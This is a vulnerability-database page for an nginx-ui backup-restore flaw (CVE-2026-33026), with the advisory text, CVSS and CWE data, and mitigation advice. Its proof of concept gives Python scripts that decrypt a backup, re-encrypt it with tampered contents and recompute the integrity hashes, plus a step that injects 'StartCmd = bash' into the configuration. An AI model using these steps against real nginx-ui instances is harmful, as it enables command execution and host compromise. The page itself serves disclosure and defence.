Vulnerability-Lookup

GHSA-FHH2-GG7W-GWPQ

Vulnerability from github – Published: 2026-03-30 16:23 – Updated: 2026-03-31 18:40

Summary

nginx-ui Backup Restore Allows Tampering with Encrypted Backups

Details

Summary

The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details

The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

Backup files are compressed into nginx-ui.zip and nginx.zip.
The files are encrypted using AES-256-CBC.
SHA-256 hashes of the encrypted files are stored in hash_info.txt.
The hash file is also encrypted with the same AES key and IV.
The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

The encryption key is available to the client.
The integrity metadata is encrypted with that same key.
The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment

OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
Deployment: Docker Container default installation
Relevant Source Files:
backup_crypto.go
backup.go
restore.go
SystemRestoreContent.vue

PoC

Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file.
Decrypt the nginx-ui.zip archive using the obtained token.

import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")

    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)

    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()

            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)

Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash).
Re-compress the files and calculate the new SHA-256 hash.
Update hash_info.txt with the new, legitimate-looking hashes for the modified files.
Encrypt the bundle again using the original Key and IV.

import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")

    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()

        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"

    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)

    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)

Upload the tampered backup to the nginx-ui restore interface.
Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.

Impact

An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

Persistent configuration tampering
Backdoor insertion into nginx configuration
Execution of attacker-controlled commands depending on configuration settings
Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
Signing backup metadata using a server-side private key
Storing integrity metadata separately from the backup archive
Enforce integrity verification The restore operation must abort if hash verification fails.
Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.
Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

Severity ?

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:23:34Z",
    "nvd_published_at": "2026-03-30T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    \u003cimg width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" /\u003e\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, \u0027r\u0027) as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   \u003cimg width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" /\u003e\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   \u003cimg width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" /\u003e\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "id": "GHSA-fhh2-gg7w-gwpq",
  "modified": "2026-03-31T18:40:04Z",
  "published": "2026-03-30T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nginx-ui Backup Restore Allows Tampering with Encrypted Backups"
}

CVE-2026-33026 (GCVE-0-2026-33026)

Vulnerability from cvelistv5 – Published: 2026-03-30 19:26 – Updated: 2026-03-31 14:17

Title

nginx-ui Backup Restore Allows Tampering with Encrypted Backups

Summary

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.4, the nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration. This issue has been patched in version 2.3.4.

Severity ?

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE

CWE-312 - Cleartext Storage of Sensitive Information
CWE-347 - Improper Verification of Cryptographic Signature
CWE-354 - Improper Validation of Integrity Check Value

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	0xJacky	nginx-ui	Affected: < 2.3.4

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FHH2-GG7W-GWPQ

Summary

Details

Environment

PoC

Impact

Recommended Mitigation

Regression

CVE-2026-33026 (GCVE-0-2026-33026)

Tags

Sightings

Nomenclature